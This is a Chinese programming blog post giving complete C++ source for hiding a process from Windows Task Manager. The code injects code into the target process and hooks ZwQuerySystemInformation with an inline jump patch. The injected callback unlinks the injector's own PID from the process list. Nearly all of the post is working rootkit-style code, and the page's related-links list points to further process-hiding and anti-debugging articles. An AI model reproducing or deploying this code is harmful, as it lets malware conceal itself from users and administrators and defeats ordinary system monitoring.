hook ZwQuerySystemInformation 隐藏进程

最新推荐文章于 2022-09-17 16:45:00 发布
最新推荐文章于 2022-09-17 16:45:00 发布
阅读量2.1k 收藏 1
点赞数
分类专栏： windows api 学习心得 文章标签： hook integer attributes system struct null
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/fanpeii/article/details/8098146
版权

该程序用vs2010编译通过。编译时选择release版本。

该程序可以通过hook ZwQuerySystemInformation来达到隐藏进程的功能。

// HideProcess.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <conio.h>
//#include <fstream.h>

typedef LONG NTSTATUS;
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation,              // 0        Y        N
	SystemProcessorInformation,          // 1        Y        N
	SystemPerformanceInformation,        // 2        Y        N
	SystemTimeOfDayInformation,          // 3        Y        N
	SystemNotImplemented1,               // 4        Y        N
	SystemProcessesAndThreadsInformation, // 5       Y        N
	SystemCallCounts,                    // 6        Y        N
	SystemConfigurationInformation,      // 7        Y        N
	SystemProcessorTimes,                // 8        Y        N
	SystemGlobalFlag,                    // 9        Y        Y
	SystemNotImplemented2,               // 10       Y        N
	SystemModuleInformation,             // 11       Y        N
	SystemLockInformation,               // 12       Y        N
	SystemNotImplemented3,               // 13       Y        N
	SystemNotImplemented4,               // 14       Y        N
	SystemNotImplemented5,               // 15       Y        N
	SystemHandleInformation,             // 16       Y        N
	SystemObjectInformation,             // 17       Y        N
	SystemPagefileInformation,           // 18       Y        N
	SystemInstructionEmulationCounts,    // 19       Y        N
	SystemInvalidInfoClass1,             // 20
	SystemCacheInformation,              // 21       Y        Y
	SystemPoolTagInformation,            // 22       Y        N
	SystemProcessorStatistics,           // 23       Y        N
	SystemDpcInformation,                // 24       Y        Y
	SystemNotImplemented6,               // 25       Y        N
	SystemLoadImage,                     // 26       N        Y
	SystemUnloadImage,                   // 27       N        Y
	SystemTimeAdjustment,                // 28       Y        Y
	SystemNotImplemented7,               // 29       Y        N
	SystemNotImplemented8,               // 30       Y        N
	SystemNotImplemented9,               // 31       Y        N
	SystemCrashDumpInformation,          // 32       Y        N
	SystemExceptionInformation,          // 33       Y        N
	SystemCrashDumpStateInformation,     // 34       Y        Y/N
	SystemKernelDebuggerInformation,     // 35       Y        N
	SystemContextSwitchInformation,      // 36       Y        N
	SystemRegistryQuotaInformation,      // 37       Y        Y
	SystemLoadAndCallImage,              // 38       N        Y
	SystemPrioritySeparation,            // 39       N        Y
	SystemNotImplemented10,              // 40       Y        N
	SystemNotImplemented11,              // 41       Y        N
	SystemInvalidInfoClass2,             // 42
	SystemInvalidInfoClass3,             // 43
	SystemTimeZoneInformation,           // 44       Y        N
	SystemLookasideInformation,          // 45       Y        N
	SystemSetTimeSlipEvent,              // 46       N        Y
	SystemCreateSession,                 // 47       N        Y
	SystemDeleteSession,                 // 48       N        Y
	SystemInvalidInfoClass4,             // 49
	SystemRangeStartInformation,         // 50       Y        N
	SystemVerifierInformation,           // 51       Y        Y
	SystemAddVerifier,                   // 52       N        Y
	SystemSessionProcessesInformation    // 53       Y        N
} SYSTEM_INFORMATION_CLASS;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
}CLIENT_ID,*PCLIENT_ID;

typedef struct
{
	USHORT Length;
	USHORT MaxLen;
	USHORT *Buffer;
}UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES 
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

typedef struct _IO_COUNTERSEX {
    LARGE_INTEGER ReadOperationCount;
    LARGE_INTEGER WriteOperationCount;
    LARGE_INTEGER OtherOperationCount;
    LARGE_INTEGER ReadTransferCount;
    LARGE_INTEGER WriteTransferCount;
    LARGE_INTEGER OtherTransferCount;
} IO_COUNTERSEX, *PIO_COUNTERSEX;

typedef enum {
    StateInitialized,
	StateReady,
	StateRunning,
	StateStandby,
	StateTerminated,
	StateWait,
	StateTransition,
	StateUnknown
} THREAD_STATE;

typedef struct _VM_COUNTERS {
    SIZE_T PeakVirtualSize;
    SIZE_T VirtualSize;
    ULONG PageFaultCount;
    SIZE_T PeakWorkingSetSize;
    SIZE_T WorkingSetSize;
    SIZE_T QuotaPeakPagedPoolUsage;
    SIZE_T QuotaPagedPoolUsage;
    SIZE_T QuotaPeakNonPagedPoolUsage;
    SIZE_T QuotaNonPagedPoolUsage;
    SIZE_T PagefileUsage;
    SIZE_T PeakPagefileUsage;
} VM_COUNTERS;
typedef VM_COUNTERS *PVM_COUNTERS;

typedef struct _SYSTEM_THREADS {
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    ULONG Priority;
    ULONG BasePriority;
    ULONG ContextSwitchCount;
    THREAD_STATE State;
    ULONG WaitReason;
} SYSTEM_THREADS, *PSYSTEM_THREADS;

typedef struct _SYSTEM_PROCESSES { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    ULONG BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    IO_COUNTERSEX IoCounters;  // Windows 2000 only
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;


typedef
NTSTATUS
(NTAPI *ZWQUERYSYSTEMINFORMATION)(
								  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
								  OUT PVOID SystemInformation,
								  IN ULONG SystemInformationLength,
								  OUT PULONG ReturnLength OPTIONAL
								  );
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwQuerySystemInformation");

PVOID g_lpRemoteAllocBase;

DWORD GetFunAddress(PUCHAR lpFunStart)
{
	DWORD dwFunAddress;
	if (*lpFunStart==0xE9)
	{
		//在Debug版本里VC会做一个跳转
		dwFunAddress = (DWORD)lpFunStart+*(DWORD *)(lpFunStart+1)+5;
	}
	else
	{
		dwFunAddress = (DWORD)lpFunStart;
	}
	return dwFunAddress;
}

__declspec (naked) VOID FunStart(){
	_asm{
		nop
		nop
	}
};//定义函数开始的位置 release版本 没用

__declspec (naked) VOID ZwQuerySystemInformationProxy()
{
	//这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是5个字节
	_asm{
		nop
		nop
		nop
		nop
		nop
		mov ebx,0x88888888 //ZwQuerySystemInformation  方便特征定位
		add ebx,5
		jmp ebx
	}
}

NTSTATUS
NTAPI
ZwQuerySystemInformationCallback(
								 IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
								 OUT PVOID SystemInformation,
								 IN ULONG SystemInformationLength,
								 OUT PULONG ReturnLength OPTIONAL
								 )
{
	NTSTATUS ntStatus;
	PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
	
	_asm{
		push ebx
		push ReturnLength
		push SystemInformationLength
		push SystemInformation
		push SystemInformationClass
		call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
		mov ntStatus,eax
		pop ebx
	}

	if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation)
	{
		pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
		while (TRUE)
		{
			if (pSystemProcesses->ProcessId==0x12345678) //如果是我们需要隐藏的PID就进行数据修改
				//0x12345678 在注入的时候，将会被替换为注入程序进程的PID
			{
				if (pSystemProcesses->NextEntryDelta)
				{
					//当我们需要隐藏的进程后面还有进程时
					//越过我们自己进程让NextEntryDelta直接指向下一个数据块
					Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
				}
				else
				{
					//当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
					//这时系统在遍历我们进程时就不会发现了
					Prev->NextEntryDelta=0;
				}
				break;//多个PID比较时候，这里千万要去掉！！！
			}
			if (!pSystemProcesses->NextEntryDelta) break;
			Prev=pSystemProcesses;
			pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
		}
	}
	return ntStatus;
}

__declspec (naked) VOID FunEnd(){_asm{nop}};//定义函数结束的位置

BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)//参数1注入的目标进程ID 参数2当前进程ID
{
	BOOLEAN bRet=FALSE;
	DWORD OldProtect;
	DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
	BYTE HookCode[5]={0xE9,0,0,0,0};
	HANDLE hProcess=NULL;
	PVOID RemoteAllocBase=NULL;
	DWORD dwFunAddress;
	PUCHAR pBuffer;
	dwCodeStart = GetFunAddress((PUCHAR)ZwQuerySystemInformationProxy);
	dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
	dwCodeSize = dwCodeEnd-dwCodeStart;//需要注入代码的长度
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,
						   FALSE,
						   dwProcessId
						   );//打开目标进程

	if (hProcess)
	{
		
		RemoteAllocBase = VirtualAllocEx(hProcess,
										 NULL,
										 dwCodeSize,
										 MEM_COMMIT,
										 PAGE_EXECUTE_READWRITE
										 );//申请内存地址
		
		if (RemoteAllocBase)
		{
			printf("\t申请内存地址：0x%x\n",RemoteAllocBase);
			g_lpRemoteAllocBase = RemoteAllocBase;
			if (ZwQuerySystemInformation)
			{
				bRet=VirtualProtect((PVOID)dwCodeStart,
									dwCodeSize,
									PAGE_EXECUTE_READWRITE,
									&OldProtect
									);//打开内存保护
				if (bRet)
				{
					memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
					*(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
					*HookCode=0xE9;
					dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
					dwFunAddress -= dwCodeStart;
					dwFunAddress += (DWORD)RemoteAllocBase; //计算ZwQuerySystemInformationCallback在目标进程中的地址
					printf("\tZwQuerySystemInformationCallback内存地址：0x%x\n",dwFunAddress);
					*(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;

					dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
					for (pBuffer=(PUCHAR)dwFunAddress;//自定义回调函数的起始位置
						 //pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);//自定义回调函数的结束位置
						 pBuffer<(PUCHAR)dwCodeEnd;
						 pBuffer++
					     )
					{
						if (*(DWORD *)pBuffer==0x12345678)
						{
							*(DWORD *)pBuffer = dwHideId;//注入进程的PID
							printf("\t成功找到目标，并替换，注入进程的PID：0x%x\n",dwHideId);
							//break;//release版本可能有2个0*12345678
						}
					}
					VirtualProtect((PVOID)dwCodeStart,
								   dwCodeSize,
								   PAGE_EXECUTE_READWRITE,
								   &OldProtect
								   );
				}
			}
			bRet=WriteProcessMemory(hProcess,
									RemoteAllocBase,
									(PVOID)dwCodeStart,
									dwCodeSize,
									NULL
									);
			if (bRet)
			{
				bRet=WriteProcessMemory(hProcess,
										ZwQuerySystemInformation,
										HookCode,
										5,
										NULL
										);
			}
		}
		CloseHandle(hProcess);
	}
	return bRet;
}

BOOLEAN UnHook(DWORD dwProcessId)
{
	HANDLE hProcess=NULL;
	BOOLEAN bRet=FALSE;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,
						   FALSE,
						   dwProcessId
						   );
	
	if (hProcess)
	{
		bRet = WriteProcessMemory(hProcess,
								  ZwQuerySystemInformation,
								  g_lpRemoteAllocBase,
								  5,
								  NULL
								  );
		/*VirtualFreeEx(hProcess,
					  g_lpRemoteAllocBase,
					  0,
					  MEM_RELEASE
					  );*/ //这里需要注意不能释放申请的内存,因为有可能你释放完成时函数正好调用完毕返回在你释放的内存中,这时就会造成目标程序崩溃
	}
	return bRet;
}


DWORD GetTaskMgrId()
{
	NTSTATUS ntStatus;
	ULONG i=1;
	PVOID pBuffer=NULL;
	ULONG ReturnLength=0;
	PSYSTEM_PROCESSES pSystemProcesses=NULL;
	char szProcName[256];
	DWORD dwProcessId=-1;

	do {
		if (ReturnLength)
			pBuffer = new BYTE[ReturnLength];
		else
			pBuffer = new BYTE[i * 0x1000];
		if (pBuffer)
		{
			ntStatus = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation,
												pBuffer,
												ReturnLength==0 ? i * 0x1000 : ReturnLength,
												&ReturnLength
												);	
			if (NT_SUCCESS(ntStatus))
			{
				break;
			}
			else if (ntStatus==STATUS_INFO_LENGTH_MISMATCH)
			{
				delete []pBuffer;
				pBuffer=NULL;
			}
			i++;
		}
		else
		{
			break;
		}
	} while(ntStatus==STATUS_INFO_LENGTH_MISMATCH);

	if (pBuffer)
	{
		pSystemProcesses = (PSYSTEM_PROCESSES)pBuffer;
		while (TRUE)
		{
			if (pSystemProcesses->ProcessName.Buffer)
			{
				memset(szProcName,0,256);
				wsprintf(szProcName,"%S",pSystemProcesses->ProcessName.Buffer);
				if (strnicmp(szProcName,"zw2.exe",strlen("zw2.exe"))==0)
				//if (strnicmp(szProcName,"Taskmgr.exe",strlen("Taskmgr.exe"))==0)
				{
					dwProcessId = pSystemProcesses->ProcessId;
					break;
				}
			}
			if (!pSystemProcesses->NextEntryDelta) break;
			pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
		}
		delete []pBuffer;
	}
	return dwProcessId;
}

int main(int argc, char* argv[])
{
	DWORD dwTaskMgrId = GetTaskMgrId();
	int i;
	if (dwTaskMgrId!=-1)
	{
		if (SetHook(dwTaskMgrId,GetCurrentProcessId()))
		{
			printf("\t请按 \"c\" 或者 \"C\" 键退出程序\r\n");
			while (TRUE)
			{
				Sleep(10);
				i=getch();
				if (i=='c' || i=='C')
					break;
			}
			UnHook(dwTaskMgrId);
		}
		else
		{
			printf("\t安装Hook失败...\r\n");
		}
	}
	else
	{
		printf("\t目前还没有发现 TaskMgr.exe 处于运行中...\r\n");
	}
	return 0;
}


 

 

 

fanpeii
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
劫持ZwQuerySystemInformation进行进程隐藏
苞米地里捉小鸡的博客
10-14 940
背景 进程隐藏，顾名思义就是运行注入程序之后，可以在任务管理器中让可见的目标进程消失。 当然，进程隐藏的方法有很多，例如 DLL 劫持、DLL注入、代码注入、进程内存替换、HOOK API 等等。我们本文要介绍的就是 HOOK API 函数 ZwQuerySystemInformation 实现的隐藏指定进程。 主要思路是通过Hook API技术抓ZwQuerySystemInformation函数，对它获取的进程列表信息进行修改，把有我们要隐藏的进程信息从中去掉，那么 ZwQuerySystemIn
Hook ZwQuerySystemInformation 隐藏qq程序
03-07 2810
近一直在研究rootkit，首先申明我是rootkit的菜鸟哈，也感觉还么有研究得好深。这次我把我练习时写的一个hook 系统 ZwQuerySystemInformation 函数来实现隐藏QQ进程的代码贴上来，也算是为成黑添砖添瓦哦。隐藏了的进程能够被rootkit的检测工具检测出来，但是一般的方法是看不出来的，比如任务管理器，和程序里面列出进程都是看不到的。程序中我已经添加了相关的注释，这里
hook zwQuerySysteminformation 隐藏进程
坦然
08-10 1786
#include //#include typedef unsigned long DWORD; #pragma pack(1) typedef struct ServiceDescriptorEntry{ unsigned int *ServiceTableBase; unsigned int *ServiceCountTableBase; unsigned in
ZwQuerySystemInformation查找进程文件句柄
03-25
ZwQuerySystemInformation查找文件句柄
hook-zwquerysysteminformation.rar_hook_进程隐藏
07-14
在IT领域，尤其是系统安全和恶意软件分析中，"hook-zwquerysysteminformation.rar_hook_进程隐藏"这个主题涉及到的是Windows操作系统中的一种高级技术——钩子（Hook）机制，以及如何利用它来隐藏进程。这里我们将...
HookSwapContext.rar_进程隐藏_隐藏进程hook
09-22
"HookSwapContext.rar_进程隐藏_隐藏进程hook"这个压缩包文件涉及到的技术是利用内核级钩子（Kernel-level Hook）来实现进程隐藏，具体来说是通过对KiSwapContext函数进行挂钩（Hook）来达到这一目的。KiSwapContext...
Ring3 Hook ZwQuerySystemInformation
11-14
Ring3 Hook ZwQuerySystemInformation是一种在用户模式（Ring 3）下进行系统调用拦截的技术，主要用于修改系统行为或获取额外的信息。在这个特定的场景中，它被用来隐藏进程，使得该进程在操作系统中变得不可见。这...
hook_进程隐藏
07-16
这里我们讨论的是通过驱动程序实现进程隐藏，具体是利用`Hook ZwQuerySystemInformation`函数来达到目的。 `ZwQuerySystemInformation`是内核模式下获取系统信息的关键API，它允许获取到系统中的各种信息，包括进程...
APIHook.rar_APIHOOK_api hide_api to hide process_hook_隐藏进程
09-22
标题“APIHook.rar_APIHOOK_api hide_api to hide process_hook_隐藏进程”表明此压缩包文件内容涉及API Hook技术，特别是利用它来隐藏进程的实现方法。 API Hook的基本原理是将系统调用或库函数的原始实现替换为...
Ring3恢复HOOK FOR Delphi
02-23
Ring3恢复HOOK FOR Delphi
Hook ZwQueryInformationProcess 函数使得异常处理可以在shellcode上执行
lif12345的专栏
09-27 1647
32位系统上当你的shellcode有使用 __try __except 进行处理时，系统最终会调用RtlIsValidHandler来判断异常处理函数是否有效，如果你希望处理异常 应该是HookRtlIsValidHandler，可是微软没有导出这个接口 于是我们逆向看看RtlIsValidHandler 发现它会判断ZwQueryInformationProcess的返回值，...
LyScript 实现Hook隐藏调试器
CSDN
09-17 1万+
LyScript 插件集成的内置API函数可灵活的实现绕过各类反调试保护机制，前段时间发布的那一篇文章并没有详细讲解各类反调试机制的绕过措施，本次将补充这方面的知识点，运用LyScript实现绕过大多数通用调试机制，实现隐藏调试器的目的。该函数用于检测自身是否处于调试状态，其C系列代码如下所示，绕过此种方式很简单，只需要在函数头部写出ret指令即可。注意：此Api检查PEB中的值，因此如果修补PEB，则无需修补Api，这段绕过代码如下。如下案例，实现了在枚举窗体过程中实现弹窗，并不影响窗体的枚举。
PC微信多开源代码-消息钩子+ZwQuerySystemInformation
热门推荐
XiaoZuoay的专栏
06-29 1万+
目录效果图分析借鉴别人的文章---&gt;https://www.52pojie.cn/thread-608108-1-1.html知识点分享其他实现多开的方式源代码下载后续 点击开启，正常打开微信就可以无限多开，通过消息钩子，自动注入微信。2：分析思路虽然我看的别人思路，但看时候其实自己也想了一些。windows单例实现方法，CreateEvent CreateMutex FindWin...
ZwQuerySystemInformation 函数查看进程列表
ShadowAssassin的专栏
12-14 1万+
程序主要应用函数  ZwQuerySystemInformation  实现的，这也是window内核的一个很重要，结构很复杂的函数。 函数原型 如下： //声明ZqQueryAyatemInformation NTSTATUS ZwQuerySystemInformation( I
ZwQuerySystemInformation 学习
Flyour的博客
09-09 2094
https://blog.csdn.net/suppercoder/article/details/9341941 这是一篇介绍分别在Ring0 和 Ring3 下是使用ZwQuerySystemInformation 函数来获取一些系统信息的函数。比如可以获取进程表和句柄表。可以参考看看。 //声明ZwQueryAyatemInformation NTSTATUS ZwQuerySystemI...
Windows2000 内核级进程隐藏、侦测技术
天蓝的专栏
09-01 1616
摘要    信息对抗是目前计算机发展的一个重要的方向，为了更好的防御，必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。 关键字：内核，拦截，活动进程链表，系统服务派遣表，线程调度链Abstract        Nowadays, informati
获取ntkrnlpa.exe基地址
08-18 1513
获取内核摸块的地址,在一般,二般,三般的情况下,你可能会遇到下面的情况   1 ZwQuerySystemInformation被HOOK   2 断了链   3 擦了"MZ"   没有第一个模块ntkrnlpa.exe.很多anti-rootkit都不能正确运行吧但方法还是有的,思路   ntkrnlpa.exe基地址 + XXXAPI在PE文件上的偏移 = X
ZwQuerySystemInfoMation函数使用
weixin_30677475的博客
06-23 156
ZwQueryInfoMation函数很简单.就是4个参数. NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ...
windows下ZwQuerySystemInformation隐藏进程
最新发布
05-16
因此，如果要获取隐藏进程信息，需要使用其他技术手段，比如 Hook 一些系统函数，或者使用 Rootkit 技术。但是，这些技术都是非常复杂和危险的，需要非常谨慎使用。同时，这些技术都可能被杀毒软件和系统安全机制...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值